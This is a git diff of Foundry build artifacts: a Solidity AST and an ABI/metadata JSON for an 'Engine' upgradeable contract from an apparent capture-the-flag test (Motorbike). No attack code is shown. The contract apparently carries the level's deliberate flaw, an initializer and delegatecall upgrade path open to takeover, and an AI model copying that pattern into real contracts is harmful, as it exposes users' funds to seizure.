1000"},"value":"1000"},"src":"2311:17:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":1191,"nodeType":"ExpressionStatement","src":"2311:17:8"},{"expression":{"argumentTypes":null,"id":1195,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":1192,"name":"upgrader","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1178,"src":"2338:8:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1193,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2349:3:8","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":1194,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"2349:10:8","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"2338:21:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1196,"nodeType":"ExpressionStatement","src":"2338:21:8"}]},"documentation":null,"functionSelector":"8129fc1c","implemented":true,"kind":"function","modifiers":[{"arguments":null,"id":1186,"modifierName":{"argumentTypes":null,"id":1185,"name":"initializer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":513,"src":"2289:11:8","typeDescriptions":{"typeIdentifier":"t_modifier$__$","typeString":"modifier ()"}},"nodeType":"ModifierInvocation","src":"2289:11:8"}],"name":"initialize","overrides":null,"parameters":{"id":1184,"nodeType":"ParameterList","parameters":[],"src":"2277:2:8"},"returnParameters":{"id":1187,"nodeType":"ParameterList","parameters":[],"src":"2301:0:8"},"scope":1281,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":1214,"nodeType":"FunctionDefinition","src":"2488:177:8","nodes":[],"body":{"id":1213,"nodeType":"Block","src":"2577:88:8","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"id":1205,"name":"_authorizeUpgrade","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1226,"src":"2587:17:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$__$","typeString":"function () view"}},"id":1206,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2587:19:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1207,"nodeType":"ExpressionStatement","src":"2587:19:8"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1209,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1200,"src":"2634:17:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"id":1210,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1202,"src":"2653:4:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":1208,"name":"_upgradeToAndCall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1256,"src":"2616:17:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory)"}},"id":1211,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2616:42:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1212,"nodeType":"ExpressionStatement","src":"2616:42:8"}]},"documentation":null,"functionSelector":"4f1ef286","implemented":true,"kind":"function","modifiers":[],"name":"upgradeToAndCall","overrides":null,"parameters":{"id":1203,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1200,"mutability":"mutable","name":"newImplementation","nodeType":"VariableDeclaration","overrides":null,"scope":1214,"src":"2514:25:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1199,"name":"address","nodeType":"ElementaryTypeName","src":"2514:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"},{"constant":false,"id":1202,"mutability":"mutable","name":"data","nodeType":"VariableDeclaration","overrides":null,"scope":1214,"src":"2541:17:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":1201,"name":"bytes","nodeType":"ElementaryTypeName","src":"2541:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"2513:46:8"},"returnParameters":{"id":1204,"nodeType":"ParameterList","parameters":[],"src":"2577:0:8"},"scope":1281,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":1226,"nodeType":"FunctionDefinition","src":"2704:108:8","nodes":[],"body":{"id":1225,"nodeType":"Block","src":"2747:65:8","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":1221,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1218,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2765:3:8","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":1219,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"2765:10:8","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"argumentTypes":null,"id":1220,"name":"upgrader","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1178,"src":"2779:8:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2765:22:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"43616e27742075706772616465","id":1222,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2789:15:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_3f30eb9aefe8ce0afb8fba17fc2865b412812f44431b4ee4d4d76be99ad54da4","typeString":"literal_string \"Can't upgrade\""},"value":"Can't upgrade"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_3f30eb9aefe8ce0afb8fba17fc2865b412812f44431b4ee4d4d76be99ad54da4","typeString":"literal_string \"Can't upgrade\""}],"id":1217,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2757:7:8","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":1223,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2757:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1224,"nodeType":"ExpressionStatement","src":"2757:48:8"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"_authorizeUpgrade","overrides":null,"parameters":{"id":1215,"nodeType":"ParameterList","parameters":[],"src":"2730:2:8"},"returnParameters":{"id":1216,"nodeType":"ParameterList","parameters":[],"src":"2747:0:8"},"scope":1281,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":1256,"nodeType":"FunctionDefinition","src":"2922:332:8","nodes":[],"body":{"id":1255,"nodeType":"Block","src":"3004:250:8","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1234,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1228,"src":"3075:17:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":1233,"name":"_setImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1280,"src":"3056:18:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":1235,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"3056:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1236,"nodeType":"ExpressionStatement","src":"3056:37:8"},{"condition":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":1240,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1237,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1230,"src":"3107:4:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":1238,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"length","nodeType":"MemberAccess","referencedDeclaration":null,"src":"3107:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"argumentTypes":null,"hexValue":"30","id":1239,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3121:1:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"3107:15:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":null,"id":1254,"nodeType":"IfStatement","src":"3103:145:8","trueBody":{"id":1253,"nodeType":"Block","src":"3124:124:8","statements":[{"assignments":[1242,null],"declarations":[{"constant":false,"id":1242,"mutability":"mutable","name":"success","nodeType":"VariableDeclaration","overrides":null,"scope":1253,"src":"3139:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":1241,"name":"bool","nodeType":"ElementaryTypeName","src":"3139:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"},null],"id":1247,"initialValue":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1245,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1230,"src":"3187:4:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":null,"id":1243,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1228,"src":"3156:17:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1244,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"delegatecall","nodeType":"MemberAccess","referencedDeclaration":null,"src":"3156:30:8","typeDescriptions":{"typeIdentifier":"t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) returns (bool,bytes memory)"}},"id":1246,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"3156:36:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"3138:54:8"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1249,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1242,"src":"3214:7:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"43616c6c206661696c6564","id":1250,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3223:13:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b","typeString":"literal_string \"Call failed\""},"value":"Call failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b","typeString":"literal_string \"Call failed\""}],"id":1248,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3206:7:8","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":1251,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"3206:31:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1252,"nodeType":"ExpressionStatement","src":"3206:31:8"}]}}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"_upgradeToAndCall","overrides":null,"parameters":{"id":1231,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1228,"mutability":"mutable","name":"newImplementation","nodeType":"VariableDeclaration","overrides":null,"scope":1256,"src":"2949:25:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1227,"name":"address","nodeType":"ElementaryTypeName","src":"2949:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"},{"constant":false,"id":1230,"mutability":"mutable","name":"data","nodeType":"VariableDeclaration","overrides":null,"scope":1256,"src":"2976:17:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":1229,"name":"bytes","nodeType":"ElementaryTypeName","src":"2976:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"2948:46:8"},"returnParameters":{"id":1232,"nodeType":"ParameterList","parameters":[],"src":"3004:0:8"},"scope":1281,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":1280,"nodeType":"FunctionDefinition","src":"3324:316:8","nodes":[],"body":{"id":1279,"nodeType":"Block","src":"3387:253:8","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1264,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1258,"src":"3424:17:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"argumentTypes":null,"id":1262,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":826,"src":"3405:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$826_$","typeString":"type(library Address)"}},"id":1263,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"isContract","nodeType":"MemberAccess","referencedDeclaration":550,"src":"3405:18:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":1265,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"3405:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"455243313936373a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374","id":1266,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3444:47:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_972b7028e8de0bff0d553b3264eba2312ec98a552add05e58853b313f9f4ac65","typeString":"literal_string \"ERC1967: new implementation is not a contract\""},"value":"ERC1967: new implementation is not a contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_972b7028e8de0bff0d553b3264eba2312ec98a552add05e58853b313f9f4ac65","typeString":"literal_string \"ERC1967: new implementation is not a contract\""}],"id":1261,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3397:7:8","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":1267,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"3397:95:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1268,"nodeType":"ExpressionStatement","src":"3397:95:8"},{"assignments":[1270],"declarations":[{"constant":false,"id":1270,"mutability":"mutable","name":"r","nodeType":"VariableDeclaration","overrides":null,"scope":1279,"src":"3503:21:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$1183_storage_ptr","typeString":"struct Engine.AddressSlot"},"typeName":{"contractScope":null,"id":1269,"name":"AddressSlot","nodeType":"UserDefinedTypeName","referencedDeclaration":1183,"src":"3503:11:8","typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$1183_storage_ptr","typeString":"struct Engine.AddressSlot"}},"value":null,"visibility":"internal"}],"id":1271,"initialValue":null,"nodeType":"VariableDeclarationStatement","src":"3503:21:8"},{"AST":{"nodeType":"YulBlock","src":"3543:54:8","statements":[{"nodeType":"YulAssignment","src":"3557:30:8","value":{"name":"_IMPLEMENTATION_SLOT","nodeType":"YulIdentifier","src":"3567:20:8"},"variableNames":[{"name":"r_slot","nodeType":"YulIdentifier","src":"3557:6:8"}]}]},"evmVersion":"istanbul","externalReferences":[{"declaration":1176,"isOffset":false,"isSlot":false,"src":"3567:20:8","valueSize":1},{"declaration":1270,"isOffset":false,"isSlot":true,"src":"3557:6:8","valueSize":1}],"id":1272,"nodeType":"InlineAssembly","src":"3534:63:8"},{"expression":{"argumentTypes":null,"id":1277,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1273,"name":"r","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1270,"src":"3606:1:8","typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$1183_storage_ptr","typeString":"struct Engine.AddressSlot storage pointer"}},"id":1275,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberName":"value","nodeType":"MemberAccess","referencedDeclaration":1182,"src":"3606:7:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"id":1276,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1258,"src":"3616:17:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3606:27:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1278,"nodeType":"ExpressionStatement","src":"3606:27:8"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"_setImplementation","overrides":null,"parameters":{"id":1259,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1258,"mutability":"mutable","name":"newImplementation","nodeType":"VariableDeclaration","overrides":null,"scope":1280,"src":"3352:25:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1257,"name":"address","nodeType":"ElementaryTypeName","src":"3352:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"3351:27:8"},"returnParameters":{"id":1260,"nodeType":"ParameterList","parameters":[],"src":"3387:0:8"},"scope":1281,"stateMutability":"nonpayable","virtual":false,"visibility":"private"}],"abstract":false,"baseContracts":[{"arguments":null,"baseName":{"contractScope":null,"id":1172,"name":"Initializable","nodeType":"UserDefinedTypeName","referencedDeclaration":530,"src":"1927:13:8","typeDescriptions":{"typeIdentifier":"t_contract$_Initializable_$530","typeString":"contract Initializable"}},"id":1173,"nodeType":"InheritanceSpecifier","src":"1927:13:8"}],"contractDependencies":[530],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[1281,530],"name":"Engine","scope":1282}],"license":"MIT"},"id":8} \ No newline at end of file diff --git a/contracts/out/Motorbike.t.sol/Engine.json b/contracts/out/Motorbike.t.sol/Engine.json new file mode 100644 index 000000000..00e90e431 --- /dev/null +++ b/contracts/out/Motorbike.t.sol/Engine.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"initialize","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"upgradeToAndCall","inputs":[{"name":"","type":"address","internalType":"address"},{"name":"","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"payable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"initialize()":"8129fc1c","upgradeToAndCall(address,bytes)":"4f1ef286"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"initialize\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"upgradeToAndCall\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Motorbike.t.sol\":\"Engine\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR 